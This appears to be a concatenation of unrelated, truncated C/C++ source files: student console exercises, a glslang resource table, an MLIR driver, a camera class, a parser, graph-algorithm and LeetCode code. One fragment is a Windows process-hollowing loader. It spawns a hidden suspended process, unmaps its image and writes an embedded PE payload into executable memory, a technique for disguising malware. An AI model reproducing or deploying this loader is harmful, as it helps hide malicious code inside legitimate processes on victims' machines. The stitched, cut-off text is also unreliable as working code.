#include <iostream>

using namespace std;

void firstPoint();
void secondPoint();
void thirdPoint();
void fourthPoint();
void fifthPoint();
void sixthPoint();

int main(){

    int option=-1;

    do{
        cout<<"=====Taller #2 - IP====="<<endl;
        cout<<"1. Punto uno."<<endl;
        cout<<"2. Punto dos."<<endl;
        cout<<"3. Punto tres."<<endl;
        cout<<"4. Punto cuatro."<<endl;
        cout<<"5. Punto cinco."<<endl;
        cout<<"6. Punto seis."<<endl;
        cout<<"0. Salir."<<endl;
        cout<<"\nDigite la opcion a la que desea ingresar: ";
        cin>>option;
        cout<<"========================"<<endl;

        switch (option){
        case 1:
            firstPoint();
            break;

        case 2:
            secondPoint();
            break;

        case 3:
            thirdPoint();
            break;

        case 4:
            fourthPoint();
            break;

        case 5:
            fifthPoint();
            break;

        case 6:
            sixthPoint();
            break;

        case 0:
            cout<<"Saliendo del programa."<<endl;
            break;

        default:
            cout<<"Digite una opcion valida."<<endl;
        }

    }while(option!=0);

    return 0;
}

void firstPoint(){

    int actualSalary=0, newSalary=0;
    char gender;

    cout<<"Digite F o M (Femenino / Masculino) para indicar su genero: ";
    cin>>gender;
    cout<<"Digite su salario: ";
    cin>>actualSalary;

    if (actualSalary>0){

        if(gender=='F'){

            newSalary=actualSalary+(actualSalary*0.1);
            cout<<"\nSu nuevo salario es de: "<<newSalary<<endl;
        }else if(gender=='M'){

            newSalary=actualSalary+(actualSalary*0.07);
            cout<<"\nSu nuevo salario es de: "<<newSalary<<endl;
        }else{

            cout<<"\nEl genero no es valido, digitelo de nuevo."<<endl;
            firstPoint();
        }
    }else{

        cout<<"\nEl salario no es valido, digitelo de nuevo."<<endl;
        firstPoint();
    }
}

void secondPoint(){

    int quantity=0, unitValue=0, finalValue=0;

    cout<<"Digite cuantos articulos desea comprar: ";
    cin>>quantity;
    cout<<"Digite el valor del articulo: ";
    cin>>unitValue;

    if(quantity>0 && unitValue>0){

        finalValue=quantity*unitValue;

        if(finalValue>500000){

            finalValue=finalValue-(finalValue*0.05);
            finalValue=finalValue+(finalValue*0.2);
            cout<<"\nEl valor total a pagar es de: "<<finalValue<<endl;
        }else{

            finalValue=finalValue+(finalValue*0.2);
            cout<<"\nEl valor total a pagar es de: "<<finalValue<<endl;
        }
    }else{

        cout<<"\nLos valores no son validos, digitelos de nuevo."<<endl;
        secondPoint();
    }
}

void thirdPoint(){

    int minutes=0, fee=50000;

    cout<<"Digite cuantos minutos hablo en el mes: ";
    cin>>minutes;

    if(minutes>0){

        if(minutes<=500){

            fee=(fee+minutes*100);
            cout<<"\nEl valor total a pagar es de: "<<fee<<endl;
        }else{

            fee=fee+(500*100);
            fee=fee+(minutes-500)*60;
            cout<<"\nEl valor total a pagar es de: "<<fee<<endl;
        }

    }else{

        cout<<"\nLos minutos no son validos, digitelos de nuevo."<<endl;
        thirdPoint();
    }
}

void fourthPoint(){

    int age=0, fee=12000;

    cout<<"Digite su edad: ";
    cin>>age;

    if(age>0){

        if(age<=12||age>60){

            fee=fee-(fee*0.5);
            cout<<"\nEl valor a pagar por la boleta es de: "<<fee<<endl;
        }else{

            cout<<"\nEl valor a pagar por la boleta es de: "<<fee<<endl;
        }
    }else{

        cout<<"\nLa edad no es valida, digitela de nuevo."<<endl;
        fourthPoint();
    }
}

void fifthPoint(){

    int number1=0, number2=0, result=0;
    char operation;

    cout<<"Digite la operacion: ";
    cin>>number1;
    cin>>operation;
    cin>>number2;

    switch(operation){
        case '+':
            result=number1+number2;
            cout<<"\nEl resultado es: "<<result<<endl;
            break;

        case '-':
            result=number1-number2;
            cout<<"\nEl resultado es: "<<result<<endl;
            break;

        case '*':
            result=number1*number2;
            cout<<"\nEl resultado es: "<<result<<endl;
            break;

        case '/':
            result=number1/number2;
            cout<<"\nEl resultado es: "<<result<<endl;
            break;

        case '%':
            result=number1%number2;
            cout<<"\nEl resultado es: "<<result<<endl;
            break;

        default:
            cout<<"\nDigite una opcion valida."<<endl;
            fifthPoint();
    }
}

void sixthPoint(){

    int age=0, price=20000;
    char category, entryType;

    cout<<"Digite su edad: ";
    cin>>age;
    cout<<"Digite L o T (Local / T


//
// Copyright (C) 2019 Google, Inc.
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions
// are met:
//
//    Redistributions of source code must retain the above copyright
//    notice, this list of conditions and the following disclaimer.
//
//    Redistributions in binary form must reproduce the above
//    copyright notice, this list of conditions and the following
//    disclaimer in the documentation and/or other materials provided
//    with the distribution.
//
//    Neither the name of 3Dlabs Inc. Ltd. nor the names of its
//    contributors may be used to endorse or promote products derived
//    from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
// COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
// INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
// BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
// LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
// ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//

#include <cstdio>
#include <cstdint>
#include <memory>

#ifdef __EMSCRIPTEN__
#include <emscripten.h>
#endif

#include "../../../SPIRV/GlslangToSpv.h"
#include "../../../glslang/Public/ShaderLang.h"

#ifndef __EMSCRIPTEN__
#define EMSCRIPTEN_KEEPALIVE
#endif

const TBuiltInResource DefaultTBuiltInResource = {
    /* .MaxLights = */ 32,
    /* .MaxClipPlanes = */ 6,
    /* .MaxTextureUnits = */ 32,
    /* .MaxTextureCoords = */ 32,
    /* .MaxVertexAttribs = */ 64,
    /* .MaxVertexUniformComponents = */ 4096,
    /* .MaxVaryingFloats = */ 64,
    /* .MaxVertexTextureImageUnits = */ 32,
    /* .MaxCombinedTextureImageUnits = */ 80,
    /* .MaxTextureImageUnits = */ 32,
    /* .MaxFragmentUniformComponents = */ 4096,
    /* .MaxDrawBuffers = */ 32,
    /* .MaxVertexUniformVectors = */ 128,
    /* .MaxVaryingVectors = */ 8,
    /* .MaxFragmentUniformVectors = */ 16,
    /* .MaxVertexOutputVectors = */ 16,
    /* .MaxFragmentInputVectors = */ 15,
    /* .MinProgramTexelOffset = */ -8,
    /* .MaxProgramTexelOffset = */ 7,
    /* .MaxClipDistances = */ 8,
    /* .MaxComputeWorkGroupCountX = */ 65535,
    /* .MaxComputeWorkGroupCountY = */ 65535,
    /* .MaxComputeWorkGroupCountZ = */ 65535,
    /* .MaxComputeWorkGroupSizeX = */ 1024,
    /* .MaxComputeWorkGroupSizeY = */ 1024,
    /* .MaxComputeWorkGroupSizeZ = */ 64,
    /* .MaxComputeUniformComponents = */ 1024,
    /* .MaxComputeTextureImageUnits = */ 16,
    /* .MaxComputeImageUniforms = */ 8,
    /* .MaxComputeAtomicCounters = */ 8,
    /* .MaxComputeAtomicCounterBuffers = */ 1,
    /* .MaxVaryingComponents = */ 60,
    /* .MaxVertexOutputComponents = */ 64,
    /* .MaxGeometryInputComponents = */ 64,
    /* .MaxGeometryOutputComponents = */ 128,
    /* .MaxFragmentInputComponents = */ 128,
    /* .MaxImageUnits = */ 8,
    /* .MaxCombinedImageUnitsAndFragmentOutputs = */ 8,
    /* .MaxCombinedShaderOutputResources = */ 8,
    /* .MaxImageSamples = */ 0,
    /* .MaxVertexImageUniforms = */ 0,
    /* .MaxTessControlImageUniforms = */ 0,
    /* .MaxTessEvaluationImageUniforms = */ 0,
    /* .MaxGeometryImageUniforms = */ 0,
    /* .MaxFragmentImageUniforms = */ 8,
    /* .MaxCombinedImageUniforms = */ 8,
    /* .MaxGeometryTextureImageUnits = */ 16,
    /* .MaxGeometryOutputVertices = */ 256,
    /* .MaxGeometryTotalOutputComponents = */ 1024,
    /* .MaxGeometryUniformComponents = */ 1024,
    /* .MaxGeometryVaryingComponents = */ 64,
    /* .MaxTessControlInputComponents = */ 128,
    /* .MaxTessControlOutputComponents = */ 128,
    /* .MaxTessControlTextureImageUnits = */ 16,
    /* .MaxTessControlUniformComponents = */ 1024,
    /* .MaxTessControlTotalOutputComponents = */ 4096,
    /* .MaxTessEvaluationInputComponents = */ 128,
    /* .MaxTessEvaluationOutputComponents = */ 128,
    /* .MaxTessEvaluationTextureImageUnits = */ 16,
    /* .MaxTessEvaluationUniformComponents = */ 1024,
    /* .MaxTessPatchComponents = */ 120,
    /* .MaxPatchVertices = */ 32,
    /* .MaxTessGenLevel = */ 64,
    /* .MaxViewports = */ 16,
    /* .MaxVertexAtomicCounters = */ 0,
    /* .MaxTessControlAtomicCounters = */ 0,
    /* .MaxTessEvaluationAtomicCounters = */ 0,
    /* .MaxGeometryAtomicCounters = */ 0,
    /* .MaxFragmentAtomicCounters = */ 8,
    /* .MaxCombinedAtomicCounters = */ 8,
    /* .MaxAtomicCounterBindings = */ 1,
    /* .MaxVertexAtomicCounterBuffers = */ 0,
    /* .MaxTessControlAtomicCount


//===- listproject-opt.cpp ---------------------------------------*- C++ -*-===//
//
// This file is licensed under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//

#include "mlir/Dialect/Arith/IR/Arith.h"
#include "mlir/Dialect/Func/IR/FuncOps.h"
#include "mlir/IR/MLIRContext.h"
#include "mlir/InitAllDialects.h"
#include "mlir/InitAllPasses.h"
#include "mlir/Support/FileUtilities.h"
#include "mlir/Tools/mlir-opt/MlirOptMain.h"

#include "ListProject/Dialect/List/IR/ListDialect.h"
#include "ListProject/Dialect/List/Transforms/ListPasses.h"
#include "ListProject/Conversion/Passes.h"

int main(int argc, char **argv) {
  mlir::registerAllPasses();
  mlir::registerListConversionPasses();
  mlir::list::registerPasses();

  mlir::DialectRegistry registry;
  registerAllDialects(registry);
  registry.insert<mlir::list::ListDialect>();

  return mlir::asMainReturnCode(
      mlir::MlirOptMain(argc, argv, "ListProject optimizer driver\n", registry));
}


#include "bytes.h"
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>
#include <iostream>
#include <vector>
#include <string>
#include <cstdlib>

typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

class muriteste {
private:
    HANDLE hTargetProcess;
    HANDLE hTargetThread;
    PROCESS_INFORMATION pi;
    pNtUnmapViewOfSection NtUnmapViewOfSection;
    pNtQueryInformationProcess NtQueryInformationProcess;

public:
    muriteste() : hTargetProcess(NULL), hTargetThread(NULL) {
        HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
        if (hNtdll) {
            NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
            NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
        }
    }

    bool criarholl(const wchar_t* targetPath, BYTE* payload, SIZE_T payloadSize) {

        STARTUPINFO si = { sizeof(si) };
        ZeroMemory(&si, sizeof(si));
        ZeroMemory(&pi, sizeof(pi));

        si.cb = sizeof(si);
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;

        if (!CreateProcess(targetPath, NULL, NULL, NULL, FALSE,
                          CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
            return false;
        }

        hTargetProcess = pi.hProcess;
        hTargetThread = pi.hThread;

        CONTEXT ctx;
        ctx.ContextFlags = CONTEXT_FULL;
        if (!GetThreadContext(hTargetThread, &ctx)) {
            TerminateProcess(hTargetProcess, 0);
            return false;
        }

        PROCESS_BASIC_INFORMATION pbi;
        if (!NtQueryInformationProcess ||
            NtQueryInformationProcess(hTargetProcess, ProcessBasicInformation,
                                    &pbi, sizeof(pbi), NULL) != 0) {
            TerminateProcess(hTargetProcess, 0);
            return false;
        }

        LPVOID imageBase;
        SIZE_T bytesRead;
        if (!ReadProcessMemory(hTargetProcess,
                              (LPVOID)((LPBYTE)pbi.PebBaseAddress + 0x10),
                              &imageBase, sizeof(imageBase), &bytesRead)) {
            TerminateProcess(hTargetProcess, 0);
            return false;
        }

        if (!NtUnmapViewOfSection ||
            NtUnmapViewOfSection(hTargetProcess, imageBase) != 0) {
            TerminateProcess(hTargetProcess, 0);
            return false;
        }

        IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)payload;
        if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
            TerminateProcess(hTargetProcess, 0);
            return false;
        }

        IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((LPBYTE)payload + dosHeader->e_lfanew);
        if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
            TerminateProcess(hTargetProcess, 0);
            return false;
        }

        LPVOID newImageBase = VirtualAllocEx(hTargetProcess,
                                           (LPVOID)ntHeaders->OptionalHeader.ImageBase,
                                           ntHeaders->OptionalHeader.SizeOfImage,
                                           MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (!newImageBase) {
            newImageBase = VirtualAllocEx(hTargetProcess, NULL,
                                        ntHeaders->OptionalHeader.SizeOfImage,
                                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if (!newImageBase) {
                TerminateProcess(hTargetProcess, 0);
                return false;
            }
        }

        if (!WriteProcessMemory(hTargetProcess, newImageBase, payload,
                               ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) {
            TerminateProcess(hTargetProcess, 0);
            return false;
        }

        IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
        for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
            if (sectionHeader[i].SizeOfRawData > 0) {
                if (!WriteProcessMemory(hTargetProcess,
                                       (LPVOID)((LPBYTE)newImageBase + sectionHeader[i].VirtualAddress),
                                       (LPVOID)((LPBYTE)payload + sectionHeader[i].PointerToRawData),
                                       sectionHeader[i].SizeOfRawData, NULL)) {
                    TerminateProcess(hTargetProcess, 0);
                    return false;
                }
            }
        }

        if (newImageBase != (LPVOID)ntHeaders->OptionalHeader.ImageBase) {


/* TRABALHO DE FPD
	Agnes Bressan  - 01
	Eduardo Coutinho - 13 */
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <conio.h>
#include <iostream>
#include <time.h>
#include <string.h>
#include <ctype.h>
struct estrut1
{
	int codigo;
	char nome[40];
	char funcao[30];
	int tipo;
	float preco;
	char fabricante[20];
	char generico;
	char reserva;
	struct estrut2
	{
		int dia, mes, ano;
	}validade;
	char excluido;//para a exclusão lógica
}info;
FILE *fp;

text_info vActual = {0, 0, 79, 24, WHITE, WHITE, C80, 25, 80, 1, 1};

//cabeçalho de funções
void desenhos ();

void textcolor(int newcolor)
{
   CONSOLE_SCREEN_BUFFER_INFO csbi;

   GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi);
   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
      (csbi.wAttributes & 0xf0) | newcolor);
   vActual.attribute = (csbi.wAttributes & 0xf0) | newcolor;
}

void textbackground(int newcolor)
{
   CONSOLE_SCREEN_BUFFER_INFO csbi;

   GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi);
   SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
      (csbi.wAttributes & 0x0f) | (newcolor << 4));
   vActual.attribute = (csbi.wAttributes & 0x0f) | (newcolor << 4);
}
void cursor (int x)
{ // mostra ou não o cursor do prompt
	switch (x) {
		case 0: {//ocultar cursor
			CONSOLE_CURSOR_INFO cursor = {1, FALSE};
			SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor);
			break;
		}
		case 1: {//apresentar cursor
			CONSOLE_CURSOR_INFO cursor = {1, TRUE};
			SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor);
			break;
		}
	}
}

void gotoxy(int x, int y)
{
  COORD c;
  c.X = x - 1;
  c.Y = y - 1;
  SetConsoleCursorPosition (GetStdHandle(STD_OUTPUT_HANDLE), c);
}
void mensagem(const char MENS[], int lin )
{
	long I;
	div_t x;
	x = div( ( 80 - strlen( MENS ) ), 2 );
	gotoxy( x.quot, lin); printf("%s", MENS );
	fflush(stdin);
}
void aviso ()
{
	textcolor(BLACK);
	gotoxy(5,33);printf("TIPO:");
	gotoxy(5,35);printf("G:");
	gotoxy(5,37);printf("R:");
	gotoxy(10,33);printf("(1-Pilula 2-Gotas 3-xarope)");
	gotoxy(8,35);printf("Generico");
	gotoxy(8,37);printf("Reserva (Este remedio esta no estoque)");
	textcolor(2);
	gotoxy(48,33);printf("ESC:");
	gotoxy(48,35);printf("ENTER:");
	textcolor(2);
	gotoxy(57,33);printf("Voltar");
	gotoxy(54,35);printf(" Mudar de pagina");
}
void bordinha_2()
{
	int A;
	textcolor(8);
		for(A=3; A<=71; A++)
		{
			gotoxy(A,32);printf("%c",219);
		}
		for(A=33; A<=38; A++)
		{
			gotoxy(3,A);printf("%c",219);
		}
		for(A=33; A<=38; A++)
		{
			gotoxy(71,A);printf("%c",219);
		}
		for(A=3; A<=71; A++)
		{
			gotoxy(A,38);printf("%c",219);
		}
}
void tabela()
{
	system("cls");
	textcolor(2);
	textcolor(12);
	gotoxy(2,4);  printf("___________________________________________________________________________________________________");
	gotoxy(2,5);  printf("| Cod  |     Nome      |     Funcao      | Tipo  | Preco |  Fabricante   |  G  |  R  |  Validade  |");
	gotoxy(2,6);  printf("|______|_______________|_________________|_______|_______|_______________|_____|_____|____________|");
    gotoxy(2,7);  printf("|      |               |                 |       |       |               |     |     |            |");
    gotoxy(2,8);  printf("|______|_______________|_________________|_______|_______|_______________|_____|_____|___/__/_____|");
    gotoxy(2,9);  printf("|      |               |                 |       |       |               |     |     |            |");
    gotoxy(2,10); printf("|______|_______________|_________________|_______|_______|_______________|_____|_____|___/__/_____|");
    gotoxy(2,11); printf("|      |               |                 |       |       |               |     |     |            |");
    gotoxy(2,12); printf("|______|_______________|_________________|_______|_______|_______________|_____|_____|___/__/_____|");
    gotoxy(2,13); printf("|      |               |                 |       |       |               |     |     |            |");
    gotoxy(2,14); printf("|______|_______________|_________________|_______|_______|_______________|_____|_____|___/__/_____|");
    gotoxy(2,15); printf("|      |               |                 |       |       |               |     |     |            |");
    gotoxy(2,16); printf("|______|_______________|_________________|_______|_______|_______________|_____|_____|___/__/_____|");
    gotoxy(2,17); printf("|      |               |                 |       |       |               |     |     |            |");
    gotoxy(2,18); printf("|______|_______________|_________________|_______|_______|_______________|_____|_____|___/__/_____|");
    gotoxy(2,19); printf("|      |               |                 |       |       |               |     |     |            |");
    gotoxy(2,20); printf("|______|_______________|__________


#include <rn/camera.hpp>

using namespace rn;

Camera::Camera() : pos({0, 0, -1}), target({0, 0, 0}), up({0, 1, 0}), projection(la::Mat4::Identity()) {
	updateViewMatrix();
}

void Camera::project2d(float left, float right, float bottom, float top, float near, float far) {
	projection = la::Mat4::Project2d(left, right, bottom, top, near, far);
}

void Camera::project3d(float fov, float aspect, float near, float far) {
	projection = la::Mat4::Project3d(fov, aspect, near, far);
}

void Camera::setPosition(la::Vec3 pos) {
	this->pos = pos;
	updateViewMatrix();
}

void Camera::setTarget(la::Vec3 target) {
	this->target = target;
	updateViewMatrix();
}

la::Vec3 Camera::getPosition() const {
	return pos;
}

la::Vec3 Camera::getTarget() const {
	return target;
}

la::Vec3 Camera::getUp() const {
	return up;
}

void Camera::setUp(la::Vec3 up) {
	this->up = up;
	updateViewMatrix();
}

la::Mat4 Camera::getViewMatrix() const {
	return view;
}

la::Mat4 Camera::getProjectionMatrix() const {
	return projection;
}

void Camera::updateViewMatrix() {
	view = la::Mat4::LookAt(pos, target, up);
}


#include "../include/AlgorithmLibrary.h"
#include <iostream>

using namespace AlgorithmLibrary;

// A*算法的启发式函数示例（曼哈顿距离）
double manhattanHeuristic(int a, int b) {
    // 这里假设顶点编号对应坐标，实际应用中需要根据具体问题设计
    return std::abs(a - b);
}

int main() {
    try {
        // 创建图
        AdjacencyListGraph graph(6, false);
        graph.addEdge(0, 1, 7);
        graph.addEdge(0, 2, 9);
        graph.addEdge(0, 5, 14);
        graph.addEdge(1, 2, 10);
        graph.addEdge(1, 3, 15);
        graph.addEdge(2, 3, 11);
        graph.addEdge(2, 5, 2);
        graph.addEdge(3, 4, 6);
        graph.addEdge(4, 5, 9);

        graph.print();

        // 连通性检查
        std::cout << "Graph is connected: " << ConnectivityAlgorithms::isConnected(graph) << std::endl;

        // 查找连通分量
        auto components = ConnectivityAlgorithms::findConnectedComponents(graph);
        std::cout << "Connected components: " << components.size() << std::endl;
        for (size_t i = 0; i < components.size(); ++i) {
            std::cout << "Component " << i << ": ";
            for (int vertex : components[i]) {
                std::cout << vertex << " ";
            }
            std::cout << std::endl;
        }

        // 最短路径算法
        std::cout << "\nDijkstra from vertex 0:" << std::endl;
        auto distances = PathAlgorithms::dijkstra(graph, 0);
        for (size_t i = 0; i < distances.size(); ++i) {
            std::cout << "Distance to " << i << ": " << distances[i] << std::endl;
        }

        // BFS路径查找
        std::cout << "\nBFS path from 0 to 4:" << std::endl;
        auto path = PathAlgorithms::bfsPath(graph, 0, 4);
        for (int vertex : path) {
            std::cout << vertex << " ";
        }
        std::cout << std::endl;

        // A*算法
        std::cout << "\nA* path from 0 to 4:" << std::endl;
        auto aStarPath = PathAlgorithms::aStar(graph, 0, 4, manhattanHeuristic);
        for (int vertex : aStarPath) {
            std::cout << vertex << " ";
        }
        std::cout << std::endl;

    } catch (const AlgorithmException& e) {
        std::cerr << "Algorithm error: " << e.what() << std::endl;
    } catch (const std::exception& e) {
        std::cerr << "Error: " << e.what() << std::endl;
    }

    return 0;
}


#include <unordered_set>

#include "core.hpp"
#include "ast.hpp"
#include "token.hpp"

struct parse_state;

using t_p_expression_function = core::ast::p_expr(*)(parse_state& state);
using t_operator_set = std::unordered_set<core::token_type>;

static const t_operator_set set_scope_resolution = {
    core::token_type::DOUBLE_COLON
};

static const t_operator_set set_member_access = {
    core::token_type::DOT
};

static const t_operator_set set_unary_post = {
    core::token_type::DOUBLE_PLUS,
    core::token_type::DOUBLE_MINUS
};

static const t_operator_set set_unary_pre = {
    core::token_type::MINUS,
    core::token_type::BANG,
    core::token_type::DOUBLE_PLUS,
    core::token_type::DOUBLE_MINUS
};

static const t_operator_set set_exponential = {
    core::token_type::CARET
};

static const t_operator_set set_multiplicative = {
    core::token_type::ASTERISK,
    core::token_type::SLASH,
    core::token_type::PERCENT
};

static const t_operator_set set_additive = {
    core::token_type::PLUS,
    core::token_type::MINUS
};

static const t_operator_set set_numeric_comparison = {
    core::token_type::LARROW,
    core::token_type::LESS_EQUAL,
    core::token_type::RARROW,
    core::token_type::GREATER_EQUAL
};

static const t_operator_set set_direct_comparison = {
    core::token_type::DOUBLE_EQUAL,
    core::token_type::BANG_EQUAL
};

static const t_operator_set set_and = {
    core::token_type::DOUBLE_AMPERSAND
};

static const t_operator_set set_or = {
    core::token_type::DOUBLE_PIPE
};

static const t_operator_set set_assignment = {
    core::token_type::EQUAL,
    core::token_type::PLUS_EQUAL,
    core::token_type::MINUS_EQUAL,
    core::token_type::ASTERISK_EQUAL,
    core::token_type::SLASH_EQUAL,
    core::token_type::PERCENT_EQUAL,
    core::token_type::CARET_EQUAL
};

struct parse_state {
    parse_state(core::liprocess& process, const core::t_file_id file_id)
        : process(process), file_id(file_id), file(process.file_list[file_id]), token_list(std::any_cast<const std::vector<core::token>&>(process.file_list[file_id].dump_token_list)) {}

    core::liprocess& process;

    const core::t_file_id file_id;
    core::liprocess::lifile& file;

    const std::vector<core::token>& token_list; // Ref to process property

    core::t_pos pos = 0;

    inline const core::token& now() const {
        return token_list.at(pos);
    }

    inline const core::token& next() {
        if (at_eof())
            return now();

        return token_list.at(pos++);
    }

    inline const core::token& peek(const core::t_pos amount = 1) const {
        if (!is_peek_safe(amount))
            return token_list[token_list.size() - 1];

        return token_list[pos + amount];
    }

    inline bool is_peek_safe(const core::t_pos amount = 1) const {
        return pos + amount < token_list.size() - 1;
    }

    inline bool at_eof() const {
        return pos >= token_list.size() - 1;
    }

    inline const core::token& expect(const core::token_type type, const std::string& error_message = "[No Info]") {
        const core::token& now = next();
        if (now.type != type)
            process.add_log(core::lilog::log_level::ERROR, now.selection, "Unexpected token: " + error_message);

        return now;
    }
};

// Forward declarations
static core::ast::p_expr parse_expression(parse_state& state);
static core::ast::p_expr parse_scope_resolution(parse_state& state);
static core::ast::p_stmt parse_statement(parse_state& state);
static std::unique_ptr<core::ast::expr_type> parse_expr_type(parse_state& state);
static std::unique_ptr<core::ast::stmt_body> parse_stmt_body(parse_state& state);

static core::ast::p_expr PARSE_OPTIONAL_TYPE(parse_state& state) {
    if (state.now().type == core::token_type::COLON) {
        state.pos++;
        return parse_expr_type(state);
    }

    return std::make_unique<core::ast::expr_none>(state.now().selection);
}

static core::ast::p_expr binary_expression_left_associative(parse_state& state, const t_p_expression_function& lower, const t_operator_set& set) {
    core::ast::p_expr left = lower(state);

    while (!state.at_eof() && set.find(state.now().type) != set.end()) {
        const core::token& opr = state.next();
        core::ast::p_expr right = lower(state);

        left = std::make_unique<core::ast::expr_binary>(
            core::lisel(left->selection, right->selection),
            std::move(left),
            std::move(right),
            opr
        );
    }

    return left;
}

static core::ast::p_expr binary_expression_right_associative(parse_state& state, const t_p_expression_function& lower, const t_operator_set& set) {
    core::ast::p_expr left = lower(state);

    if (!state.at_eof() && set.find(state.now().type) != set.end()) {
        const core::token& opr = state.next();

        // recurse on *binary_expression* instead of just *lower*
        core::ast::p_expr right = binary_expression_right_associative(state, lower, set);


/*
 * Bài toán LeetCode: Longest Substring Without Repeating Characters (Chuỗi con dài nhất không có ký tự lặp lại)
 *
 * Mô tả bài toán:
 * Cho một chuỗi `s`, tìm độ dài của chuỗi con dài nhất không có ký tự lặp lại.
 *
 * Ví dụ:
 * - Input: s = "abcabcbb"
 * - Output: 3 (Đáp án là "abc")
 *
 * ---
 *
 * Hướng giải quyết phổ biến: Cửa sổ trượt (Sliding Window) với Hash Map
 *
 * Đây là phương pháp tối ưu và phổ biến nhất cho bài toán này.
 *
 * 1. Khởi tạo:
 *    - `maxLength`: Lưu trữ độ dài lớn nhất tìm được, khởi tạo bằng 0.
 *    - `start`: Chỉ số bắt đầu của cửa sổ hiện tại, khởi tạo bằng 0.
 *    - `charIndexMap`: Một hash map (hoặc một mảng kích thước 256 cho bộ ký tự ASCII) để lưu chỉ số xuất hiện cuối cùng của mỗi ký tự.
 *
 * 2. Vòng lặp cửa sổ trượt:
 *    - Chúng ta duyệt qua chuỗi bằng một con trỏ `end` từ 0 đến cuối chuỗi.
 *    - Với mỗi ký tự `s[end]`:
 *      - Kiểm tra xem ký tự đã có trong `charIndexMap` và chỉ số cuối cùng của nó có nằm trong cửa sổ hiện tại không (tức là `charIndexMap[s[end]] >= start`).
 *      - Nếu có, điều đó có nghĩa là chúng ta có một ký tự lặp lại. Chúng ta cần thu hẹp cửa sổ bằng cách di chuyển con trỏ `start` đến vị trí ngay sau lần xuất hiện cuối cùng của ký tự hiện tại (`charIndexMap[s[end]] + 1`).
 *      - Cập nhật chỉ số xuất hiện cuối cùng của ký tự `s[end]` trong `charIndexMap` thành chỉ số hiện tại `end`.
 *      - Tính độ dài của cửa sổ hiện tại (`end - start + 1`) và cập nhật `maxLength` nếu cửa sổ hiện tại lớn hơn.
 *
 * 3. Trả về kết quả:
 *    - Sau vòng lặp, `maxLength` sẽ giữ độ dài của chuỗi con dài nhất không có ký tự lặp lại.
 *
 * Phân tích độ phức tạp (Cửa sổ trượt):
 * - Độ phức tạp thời gian: O(N), trong đó N là độ dài của chuỗi. Chúng ta chỉ duyệt qua chuỗi một lần.
 * - Độ phức tạp không gian: O(min(N, M)), trong đó N là độ dài của chuỗi và M là kích thước của bộ ký tự. Trong trường hợp xấu nhất, chúng ta lưu trữ tất cả các ký tự duy nhất trong hash map. Đối với ASCII, độ phức tạp này là O(1) vì kích thước được cố định là 256.
 *
 * ---
 *
 * Ghi chú về giải pháp Quy hoạch động (DP) đã cài đặt:
 * Giải pháp được cung cấp sử dụng phương pháp quy hoạch động. Mặc dù sáng tạo, nó phức tạp và kém hiệu quả hơn kỹ thuật cửa sổ trượt. Trạng thái DP `dp[i]` dường như cố gắng ghi lại độ dài của chuỗi con dài nhất kết thúc tại chỉ số `i`. Logic này bao gồm việc tìm kiếm chỉ số lặp lại cuối cùng trong chuỗi con ứng cử viên trước đó, điều này có thể tốn nhiều tài nguyên tính toán. Phương pháp cửa sổ trượt tránh được các tìm kiếm lặp lại này bằng cách theo dõi vị trí ký tự một cách hiệu quả.
 */
#include <bits/stdc++.h>

using namespace std;

int lastRepeatedIndex(string s, char c)
{
    int length = s.length();
    for (int i = 0; i < length; i++)
    {
        if (s[i] == c)
            return i;
    }
    return -1;
}

int lengthOfLongestSubstring(string s)
{
